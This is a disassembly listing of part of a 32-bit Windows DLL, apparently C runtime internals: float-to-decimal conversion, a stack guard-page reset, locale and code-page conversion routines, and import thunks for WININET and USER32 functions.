		movzx	esi, [ebp+var_A]
		sub	esi, 3FFEh
		and	[ebp+var_A], 0
		mov	[ebp+arg_8], 8


loc_69B8762D:				; CODE XREF: sub_69B87498+1A2j
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_69B86F4B
		dec	[ebp+arg_8]
		pop	ecx
		jnz	short loc_69B8762D
		test	esi, esi
		jge	short loc_69B87657
		neg	esi
		and	esi, 0FFh
		jle	short loc_69B87657


loc_69B8764A:				; CODE XREF: sub_69B87498+1BDj
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_69B86F79
		dec	esi
		pop	ecx
		jnz	short loc_69B8764A


loc_69B87657:				; CODE XREF: sub_69B87498+1A6j
					; sub_69B87498+1B0j
		lea	ecx, [edi+1]
		test	ecx, ecx
		lea	eax, [ebx+4]
		mov	[ebp+arg_8], eax
		jle	short loc_69B876B4
		mov	[ebp+var_8], ecx


loc_69B87667:				; CODE XREF: sub_69B87498+217j
		lea	esi, [ebp+var_14]
		lea	edi, [ebp+var_2C]
		movsd
		movsd
		lea	eax, [ebp+var_14]
		push	eax
		movsd
		call	sub_69B86F4B
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_69B86F4B
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_69B86EED
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_69B86F4B
		mov	al, byte ptr [ebp+var_A+1]
		mov	ecx, [ebp+arg_8]
		add	al, 30h
		add	esp, 14h
		inc	[ebp+arg_8]
		dec	[ebp+var_8]
		mov	[ecx], al
		mov	byte ptr [ebp+var_A+1],	0
		jnz	short loc_69B87667
		mov	eax, [ebp+arg_8]


loc_69B876B4:				; CODE XREF: sub_69B87498+1CAj
		dec	eax
		mov	cl, [eax]
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_69B876F6
		jmp	short loc_69B876CB
; ---------------------------------------------------------------------------


loc_69B876C2:				; CODE XREF: sub_69B87498+235j
		cmp	byte ptr [eax],	39h
		jnz	short loc_69B876CF
		mov	byte ptr [eax],	30h
		dec	eax


loc_69B876CB:				; CODE XREF: sub_69B87498+228j
		cmp	eax, ecx
		jnb	short loc_69B876C2


loc_69B876CF:				; CODE XREF: sub_69B87498+22Dj
		cmp	eax, ecx
		jnb	short loc_69B876D7
		inc	eax
		inc	word ptr [ebx]


loc_69B876D7:				; CODE XREF: sub_69B87498+239j
		inc	byte ptr [eax]


loc_69B876D9:				; CODE XREF: sub_69B87498+264j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		mov	byte ptr [eax+ebx+4], 0


loc_69B876E8:				; CODE XREF: sub_69B87498+DFj
		mov	eax, [ebp+var_4]


loc_69B876EB:				; CODE XREF: sub_69B87498+27Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B876F0:				; CODE XREF: sub_69B87498+260j
		cmp	byte ptr [eax],	30h
		jnz	short loc_69B876FA
		dec	eax


loc_69B876F6:				; CODE XREF: sub_69B87498+226j
		cmp	eax, ecx
		jnb	short loc_69B876F0


loc_69B876FA:				; CODE XREF: sub_69B87498+25Bj
		cmp	eax, ecx
		jnb	short loc_69B876D9
		mov	byte ptr [ecx],	30h


loc_69B87701:				; CODE XREF: sub_69B87498+172j
		and	word ptr [ebx],	0
		xor	eax, eax
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+5], 0
		inc	eax
		jmp	short loc_69B876EB
sub_69B87498	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B87718	dd 4E512331h, 90004E41hdword_69B87720	dd 4E492331h, 90900046hdword_69B87728	dd 4E492331h, 90900044hdword_69B87730	dd 4E532331h			db 41h,	4Eh, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B87737	proc near		; CODE XREF: sub_69B253C5+3p
					; sub_69B254A6+3p ...

SystemInfo	= _SYSTEM_INFO ptr -4Ch
Buffer		= _MEMORY_BASIC_INFORMATION ptr	-28h
flOldProtect	= dword	ptr -0Ch
dwSize		= dword	ptr -8
lpAddress	= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	4
		pop	eax
		call	sub_69B1B09C
		mov	esi, esp
		push	1Ch		; dwLength
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		push	esi		; lpAddress
		call	ds:VirtualQuery	; VirtualQuery
		test	eax, eax
		jz	short loc_69B877D2
		mov	ebx, [ebp+Buffer.AllocationBase]
		lea	eax, [ebp+SystemInfo]
		push	eax		; lpSystemInfo
		call	ds:GetSystemInfo	; GetSystemInfo
		mov	ecx, [ebp+SystemInfo.dwPageSize]
		mov	eax, dword_69B95AFC
		lea	edi, [ecx-1]
		not	edi
		and	edi, esi
		sub	edi, ecx
		mov	esi, eax
		dec	esi
		neg	esi
		sbb	esi, esi
		and	esi, 0FFFFFFF1h
		add	esi, 11h
		imul	esi, ecx
		add	esi, ebx
		cmp	edi, esi
		mov	[ebp+dwSize], ecx
		jb	short loc_69B877D2
		cmp	eax, 1
		jz	short loc_69B877F3
		mov	[ebp+lpAddress], ebx
		mov	ebx, 1000h


loc_69B8779F:				; CODE XREF: sub_69B87737+84j
		push	1Ch		; dwLength
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		push	[ebp+lpAddress]	; lpAddress
		call	ds:VirtualQuery	; VirtualQuery
		test	eax, eax
		jz	short loc_69B877D2
		mov	eax, [ebp+Buffer.RegionSize]
		add	[ebp+lpAddress], eax
		test	[ebp+Buffer.State], ebx
		jz	short loc_69B8779F
		test	byte ptr [ebp+Buffer.Protect+1], 1
		mov	eax, [ebp+Buffer.BaseAddress]
		mov	[ebp+lpAddress], eax
		jz	short loc_69B877CE
		xor	eax, eax
		inc	eax
		jmp	short loc_69B87812
; ---------------------------------------------------------------------------


loc_69B877CE:				; CODE XREF: sub_69B87737+90j
		cmp	edi, eax
		jnb	short loc_69B877D6


loc_69B877D2:				; CODE XREF: sub_69B87737+22j
					; sub_69B87737+59j ...
		xor	eax, eax
		jmp	short loc_69B87812
; ---------------------------------------------------------------------------


loc_69B877D6:				; CODE XREF: sub_69B87737+99j
		cmp	eax, esi
		jnb	short loc_69B877DD
		mov	[ebp+lpAddress], esi


loc_69B877DD:				; CODE XREF: sub_69B87737+A1j
		push	4		; flProtect
		push	ebx		; flAllocationType
		push	[ebp+dwSize]	; dwSize
		push	[ebp+lpAddress]	; lpAddress
		call	ds:VirtualAlloc	; VirtualAlloc
		mov	eax, dword_69B95AFC
		jmp	short loc_69B877F6
; ---------------------------------------------------------------------------


loc_69B877F3:				; CODE XREF: sub_69B87737+5Ej
		mov	[ebp+lpAddress], edi


loc_69B877F6:				; CODE XREF: sub_69B87737+BAj
		dec	eax
		neg	eax
		sbb	eax, eax
		and	eax, 103h
		lea	ecx, [ebp+flOldProtect]
		push	ecx		; lpflOldProtect
		inc	eax
		push	eax		; flNewProtect
		push	[ebp+dwSize]	; dwSize
		push	[ebp+lpAddress]	; lpAddress
		call	ds:VirtualProtect	; VirtualProtect


loc_69B87812:				; CODE XREF: sub_69B87737+95j
					; sub_69B87737+9Dj
		lea	esp, [ebp-58h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B87737	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8781A	proc near		; CODE XREF: sub_69B878AA+2Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_69B87827
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B87827:				; CODE XREF: sub_69B8781A+7j
		push	edi
		call	sub_69B84DE2
		mov	edi, [eax+64h]
		cmp	edi, off_69B9AB2C
		jz	short loc_69B8783F
		call	sub_69B85A60
		mov	edi, eax


loc_69B8783F:				; CODE XREF: sub_69B8781A+1Cj
					; sub_69B8781A+4Bj
		cmp	dword ptr [edi+28h], 1
		movzx	eax, byte ptr [esi]
		jle	short loc_69B87856
		push	8
		push	eax
		push	edi
		call	sub_69B86E55
		add	esp, 0Ch
		jmp	short loc_69B87860
; ---------------------------------------------------------------------------


loc_69B87856:				; CODE XREF: sub_69B8781A+2Cj
		mov	ecx, [edi+48h]
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 8


loc_69B87860:				; CODE XREF: sub_69B8781A+3Aj
		test	eax, eax
		jz	short loc_69B87867
		inc	esi
		jmp	short loc_69B8783F
; ---------------------------------------------------------------------------


loc_69B87867:				; CODE XREF: sub_69B8781A+48j
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, 2Dh
		mov	edx, ecx
		pop	edi
		jz	short loc_69B87878
		cmp	ecx, 2Bh
		jnz	short loc_69B8787C


loc_69B87878:				; CODE XREF: sub_69B8781A+57j
		movzx	ecx, byte ptr [esi]
		inc	esi


loc_69B8787C:				; CODE XREF: sub_69B8781A+5Cj
		xor	eax, eax


loc_69B8787E:				; CODE XREF: sub_69B8781A+85j
		cmp	ecx, 30h
		jl	short loc_69B8788D
		cmp	ecx, 39h
		jg	short loc_69B8788D
		sub	ecx, 30h
		jmp	short loc_69B87890
; ---------------------------------------------------------------------------


loc_69B8788D:				; CODE XREF: sub_69B8781A+67j
					; sub_69B8781A+6Cj
		or	ecx, 0FFFFFFFFh


loc_69B87890:				; CODE XREF: sub_69B8781A+71j
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_69B878A1
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2]
		movzx	ecx, byte ptr [esi]
		inc	esi
		jmp	short loc_69B8787E
; ---------------------------------------------------------------------------


loc_69B878A1:				; CODE XREF: sub_69B8781A+79j
		cmp	edx, 2Dh
		jnz	short loc_69B878A8
		neg	eax


loc_69B878A8:				; CODE XREF: sub_69B8781A+8Aj
		pop	esi
		retn
sub_69B8781A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_69B878AA(LCID	Locale)

sub_69B878AA	proc near		; CODE XREF: sub_69B1ECB1+676Ap
					; sub_69B1AEC4+A6D3p

LCData		= byte ptr -8
var_2		= byte ptr -2
Locale		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	6		; cchData
		lea	eax, [ebp+LCData]
		push	eax		; lpLCData
		push	1004h		; LCType
		push	[ebp+Locale]	; Locale
		mov	[ebp+var_2], 0
		call	ds:GetLocaleInfoA	; GetLocaleInfoA
		test	eax, eax
		jnz	short loc_69B878D0
		or	eax, 0FFFFFFFFh
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B878D0:				; CODE XREF: sub_69B878AA+1Fj
		lea	eax, [ebp+LCData]
		push	eax
		call	sub_69B8781A
		pop	ecx
		leave
		retn
sub_69B878AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B878DC	proc near		; CODE XREF: sub_69B1ECB1+678Ap
					; sub_69B1AEC4+A6FBp ...
		push	34h
		push	offset dword_69B87AA8
		call	sub_69B19C5C
		xor	ebx, ebx
		mov	[ebp-1Ch], ebx
		mov	[ebp-20h], ebx
		mov	eax, [ebp+14h]
		mov	edi, [eax]
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	eax, [ebp+8]
		cmp	eax, [ebp+0Ch]
		jz	loc_69B87A8C
		lea	ecx, [ebp-3Ch]
		push	ecx		; lpCPInfo
		push	eax		; CodePage
		mov	esi, ds:GetCPInfo
		call	esi ; GetCPInfo
		test	eax, eax
		jz	short loc_69B87938
		cmp	dword ptr [ebp-3Ch], 1
		jnz	short loc_69B87938
		lea	eax, [ebp-3Ch]
		push	eax		; lpCPInfo
		push	dword ptr [ebp+0Ch] ; CodePage
		call	esi ; GetCPInfo
		test	eax, eax
		jz	short loc_69B87938
		cmp	dword ptr [ebp-3Ch], 1
		jnz	short loc_69B87938
		mov	dword ptr [ebp-28h], 1


loc_69B87938:				; CODE XREF: sub_69B878DC+3Aj
					; sub_69B878DC+40j ...
		cmp	[ebp-28h], ebx
		jz	short loc_69B8795D
		cmp	edi, 0FFFFFFFFh
		jz	short loc_69B87946
		mov	esi, edi
		jmp	short loc_69B87958
; ---------------------------------------------------------------------------


loc_69B87946:				; CODE XREF: sub_69B878DC+64j
		mov	eax, [ebp+10h]
		lea	edx, [eax+1]


loc_69B8794C:				; CODE XREF: sub_69B878DC+75j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_69B8794C
		sub	eax, edx
		lea	esi, [eax+1]


loc_69B87958:				; CODE XREF: sub_69B878DC+68j
		mov	[ebp-40h], esi
		jmp	short loc_69B87960
; ---------------------------------------------------------------------------


loc_69B8795D:				; CODE XREF: sub_69B878DC+5Fj
		mov	esi, [ebp-40h]


loc_69B87960:				; CODE XREF: sub_69B878DC+7Fj
		cmp	[ebp-28h], ebx
		jnz	short loc_69B8797F
		push	ebx		; cchWideChar
		push	ebx		; lpWideCharStr
		push	edi		; cchMultiByte
		push	dword ptr [ebp+10h] ; lpMultiByteStr
		push	1		; dwFlags
		push	dword ptr [ebp+8] ; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp-40h], esi
		cmp	esi, ebx
		jz	short loc_69B879DD


loc_69B8797F:				; CODE XREF: sub_69B878DC+87j
		mov	[ebp-4], ebx
		lea	edi, [esi+esi]
		mov	eax, edi
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_69B1B09C
		mov	[ebp-18h], esp
		mov	ebx, esp
		mov	[ebp-44h], ebx
		mov	ecx, edi
		xor	eax, eax
		mov	edi, ebx
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B879C9
; ---------------------------------------------------------------------------


loc_69B879B4:				; DATA XREF: .text:69B87AACo
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_69B879B8:				; DATA XREF: .text:69B87AB0o
		mov	esp, [ebp-18h]
		call	sub_69B87737
		xor	ebx, ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-40h]


loc_69B879C9:				; CODE XREF: sub_69B878DC+D6j
		test	ebx, ebx
		jnz	short loc_69B879EB
		mov	edx, esi
		push	2
		pop	ecx
		call	sub_69B1CE89
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B879E4


loc_69B879DD:				; CODE XREF: sub_69B878DC+A1j
		xor	eax, eax
		jmp	loc_69B87A9F
; ---------------------------------------------------------------------------


loc_69B879E4:				; CODE XREF: sub_69B878DC+FFj
		mov	dword ptr [ebp-20h], 1


loc_69B879EB:				; CODE XREF: sub_69B878DC+EFj
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		push	dword ptr [ebp-24h] ; cchMultiByte
		push	dword ptr [ebp+10h] ; lpMultiByteStr
		push	1		; dwFlags
		push	dword ptr [ebp+8] ; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		test	eax, eax
		jz	loc_69B87A8F
		xor	edi, edi
		cmp	[ebp+18h], edi
		jz	short loc_69B87A2D
		push	edi		; lpUsedDefaultChar
		push	edi		; lpDefaultChar
		push	dword ptr [ebp+1Ch] ; cchMultiByte
		push	dword ptr [ebp+18h] ; lpMultiByteStr
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		push	edi		; dwFlags
		push	dword ptr [ebp+0Ch] ; CodePage
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_69B87A8F
		mov	eax, [ebp+18h]
		mov	[ebp-1Ch], eax
		jmp	short loc_69B87A8F
; ---------------------------------------------------------------------------


loc_69B87A2D:				; CODE XREF: sub_69B878DC+12Fj
		cmp	[ebp-28h], edi
		jnz	short loc_69B87A4A
		push	edi		; lpUsedDefaultChar
		push	edi		; lpDefaultChar
		push	edi		; cchMultiByte
		push	edi		; lpMultiByteStr
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		push	edi		; dwFlags
		push	dword ptr [ebp+0Ch] ; CodePage
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_69B87A8F
		xor	edi, edi


loc_69B87A4A:				; CODE XREF: sub_69B878DC+154j
		mov	edx, esi
		xor	ecx, ecx
		inc	ecx
		call	sub_69B1CE89
		mov	[ebp-1Ch], eax
		cmp	eax, edi
		jz	short loc_69B87A8F
		xor	edi, edi
		push	edi		; lpUsedDefaultChar
		push	edi		; lpDefaultChar
		push	esi		; cchMultiByte
		push	eax		; lpMultiByteStr
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		push	edi		; dwFlags
		push	dword ptr [ebp+0Ch] ; CodePage
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		cmp	eax, edi
		jnz	short loc_69B87A7F
		push	dword ptr [ebp-1Ch]
		call	sub_69B1D1FD
		pop	ecx
		mov	[ebp-1Ch], edi
		jmp	short loc_69B87A8F
; ---------------------------------------------------------------------------


loc_69B87A7F:				; CODE XREF: sub_69B878DC+193j
		cmp	dword ptr [ebp-24h], 0FFFFFFFFh
		jz	short loc_69B87A8F
		mov	ecx, [ebp+14h]
		mov	[ecx], eax
		jmp	short loc_69B87A8F
; ---------------------------------------------------------------------------


loc_69B87A8C:				; CODE XREF: sub_69B878DC+25j
		mov	ebx, [ebp-44h]


loc_69B87A8F:				; CODE XREF: sub_69B878DC+124j
					; sub_69B878DC+147j ...
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_69B87A9C
		push	ebx
		call	sub_69B1D1FD
		pop	ecx


loc_69B87A9C:				; CODE XREF: sub_69B878DC+1B7j
		mov	eax, [ebp-1Ch]


loc_69B87A9F:				; CODE XREF: sub_69B878DC+103j
		lea	esp, [ebp-50h]
		call	sub_69B1853C
		retn
sub_69B878DC	endp

; ---------------------------------------------------------------------------
dword_69B87AA8	dd 0FFFFFFFFh			dd offset loc_69B879B4
		dd offset loc_69B879B8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B87AB4	proc near		; CODE XREF: sub_69B87498+152p
					; sub_69B87CD5+63p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		xor	eax, eax
		push	ebx
		mov	ebx, [ebp+arg_4]
		xor	ecx, ecx
		mov	cx, [ebx+0Ah]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		push	edi
		mov	edi, ecx
		mov	edx, 7FFFh
		and	ecx, edx
		xor	edi, eax
		and	eax, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [eax+ecx]
		mov	[ebp+arg_0], edx
		jnb	loc_69B87CB5
		cmp	cx, 7FFFh
		jnb	loc_69B87CB5
		cmp	dx, 0BFFDh
		ja	loc_69B87CB5
		cmp	dx, 3FBFh
		ja	short loc_69B87B1F
		xor	eax, eax
		jmp	short loc_69B87B59
; ---------------------------------------------------------------------------


loc_69B87B1F:				; CODE XREF: sub_69B87AB4+65j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_69B87B41
		inc	[ebp+arg_0]
		xor	eax, eax
		test	[esi+8], edx
		jnz	short loc_69B87B43
		cmp	[esi+4], eax
		jnz	short loc_69B87B43
		cmp	[esi], eax
		jnz	short loc_69B87B43
		jmp	loc_69B87CAF
; ---------------------------------------------------------------------------


loc_69B87B41:				; CODE XREF: sub_69B87AB4+73j
		xor	eax, eax


loc_69B87B43:				; CODE XREF: sub_69B87AB4+7Dj
					; sub_69B87AB4+82j ...
		cmp	cx, ax
		jnz	short loc_69B87B66
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_69B87B66
		cmp	[ebx+4], eax
		jnz	short loc_69B87B66
		cmp	[ebx], eax
		jnz	short loc_69B87B66


loc_69B87B59:				; CODE XREF: sub_69B87AB4+69j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_69B87CD0
; ---------------------------------------------------------------------------


loc_69B87B66:				; CODE XREF: sub_69B87AB4+92j
					; sub_69B87AB4+9Aj ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_69B87B76:				; CODE XREF: sub_69B87AB4+124j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_69B87BCA
		add	eax, esi
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [ebx+8]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_69B87B92:				; CODE XREF: sub_69B87AB4+114j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx]
		movzx	eax, word ptr [eax]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_69B86ECC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_69B87BBD
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_69B87BBD:				; CODE XREF: sub_69B87AB4+101j
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_69B87B92


loc_69B87BCA:				; CODE XREF: sub_69B87AB4+CBj
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_69B87B76
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_69B87C0D


loc_69B87BE8:				; CODE XREF: sub_69B87AB4+150j
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_69B87C06
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_69B86F4B
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		pop	ecx
		jg	short loc_69B87BE8


loc_69B87C06:				; CODE XREF: sub_69B87AB4+138j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_69B87C46


loc_69B87C0D:				; CODE XREF: sub_69B87AB4+132j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_69B87C46
		mov	eax, [ebp+arg_0]
		neg	eax
		movzx	ebx, ax
		add	[ebp+arg_0], ebx


loc_69B87C26:				; CODE XREF: sub_69B87AB4+186j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_69B87C2F
		inc	[ebp+var_14]


loc_69B87C2F:				; CODE XREF: sub_69B87AB4+176j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_69B86F79
		dec	ebx
		pop	ecx
		jnz	short loc_69B87C26
		cmp	[ebp+var_14], 0
		jz	short loc_69B87C46
		or	byte ptr [ebp+var_24], 1


loc_69B87C46:				; CODE XREF: sub_69B87AB4+157j
					; sub_69B87AB4+165j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_69B87C5D
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_69B87C91


loc_69B87C5D:				; CODE XREF: sub_69B87AB4+198j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_69B87C8E
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_69B87C89
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_69B87C83
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_69B87C91
; ---------------------------------------------------------------------------


loc_69B87C83:				; CODE XREF: sub_69B87AB4+1C2j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_69B87C91
; ---------------------------------------------------------------------------


loc_69B87C89:				; CODE XREF: sub_69B87AB4+1B7j
		inc	[ebp+var_20+2]
		jmp	short loc_69B87C91
; ---------------------------------------------------------------------------


loc_69B87C8E:				; CODE XREF: sub_69B87AB4+1ADj
		inc	[ebp+var_24+2]


loc_69B87C91:				; CODE XREF: sub_69B87AB4+1A7j
					; sub_69B87AB4+1CDj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_69B87CB5
		mov	cx, word ptr [ebp+var_24+2]
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx
		or	eax, edi


loc_69B87CAF:				; CODE XREF: sub_69B87AB4+88j
		mov	[esi+0Ah], ax
		jmp	short loc_69B87CD0
; ---------------------------------------------------------------------------


loc_69B87CB5:				; CODE XREF: sub_69B87AB4+44j
					; sub_69B87AB4+4Fj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_69B87CD0:				; CODE XREF: sub_69B87AB4+ADj
					; sub_69B87AB4+1FFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B87AB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B87CD5	proc near		; CODE XREF: sub_69B87074+394p
					; sub_69B87498+139p

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_69B9AD98
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_69B87D48
		jge	short loc_69B87CF8
		neg	[ebp+arg_4]
		mov	ebx, offset dword_69B9AEF8
		sub	ebx, 60h


loc_69B87CF8:				; CODE XREF: sub_69B87CD5+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_69B87D03
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_69B87D03:				; CODE XREF: sub_69B87CD5+26j
		cmp	[ebp+arg_4], ecx
		jz	short loc_69B87D48
		push	esi
		push	edi


loc_69B87D0A:				; CODE XREF: sub_69B87CD5+6Fj
		mov	eax, [ebp+arg_4]
		sar	[ebp+arg_4], 3
		and	eax, 7
		add	ebx, 54h
		cmp	eax, ecx
		jz	short loc_69B87D41
		lea	eax, [eax+eax*2]
		lea	esi, [ebx+eax*4]
		cmp	word ptr [esi],	8000h
		jb	short loc_69B87D34
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_69B87D34:				; CODE XREF: sub_69B87CD5+51j
		push	esi
		push	[ebp+arg_0]
		call	sub_69B87AB4
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_69B87D41:				; CODE XREF: sub_69B87CD5+44j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_69B87D0A
		pop	edi
		pop	esi


loc_69B87D48:				; CODE XREF: sub_69B87CD5+14j
					; sub_69B87CD5+31j
		pop	ebx
		leave
		retn
sub_69B87CD5	endp

; ---------------------------------------------------------------------------
		mov	eax, offset InternetCrackUrlW
		jmp	short $+2


loc_69B87D52:				; CODE XREF: .text:69B87D68j
		push	ecx
		push	edx
		push	eax
		push	offset WININET_dll_import_table
		call	sub_69B1AA33
		pop	edx
		pop	ecx
		jmp	eax
; ---------------------------------------------------------------------------
		mov	eax, offset InternetCreateUrlW
		jmp	short loc_69B87D52
; ---------------------------------------------------------------------------
		mov	eax, offset LoadStringA
		jmp	short $+2


loc_69B87D71:				; CODE XREF: .text:69B87D87j
					; .text:69B87D8Ej ...
		push	ecx
		push	edx
		push	eax
		push	offset USER32_dll_import_table
		call	sub_69B1AA33
		pop	edx
		pop	ecx
		jmp	eax
; ---------------------------------------------------------------------------
		mov	eax, offset GetActiveWindow
		jmp	short loc_69B87D71
; ---------------------------------------------------------------------------
		mov	eax, offset EnableMenuItem
		jmp	short loc_69B87D71
; ---------------------------------------------------------------------------
		mov	eax, offset GetMenuItemID
		jmp	short loc_69B87D71
; ---------------------------------------------------------------------------
		mov	eax, offset GetSubMenu
		jmp	short loc_69B87D71
; ---------------------------------------------------------------------------
		mov	eax, offset GetMenuState
		jmp	short loc_69B87D71
; ---------------------------------------------------------------------------
		mov	eax, offset GetMenuItemCount
		jmp	short loc_69B87D71
; ---------------------------------------------------------------------------
		mov	eax, offset DestroyMenu
		jmp	short loc_69B87D71
; ---------------------------------------------------------------------------
		mov	eax, offset TrackPopupMenu
		jmp	short loc_69B87D71
; ---------------------------------------------------------------------------
		mov	eax, offset RegisterClipboardFormatA
		jmp	short loc_69B87D71
; ---------------------------------------------------------------------------
		mov	eax, offset MsgWaitForMultipleObjects
		jmp	short loc_69B87D71
; ---------------------------------------------------------------------------
		mov	eax, offset DestroyWindow
		jmp	short loc_69B87D71
; ---------------------------------------------------------------------------
		mov	eax, offset CreateWindowExA
		jmp	short loc_69B87D71
; ---------------------------------------------------------------------------
		mov	eax, offset RegisterClassA
		jmp	short loc_69B87D71
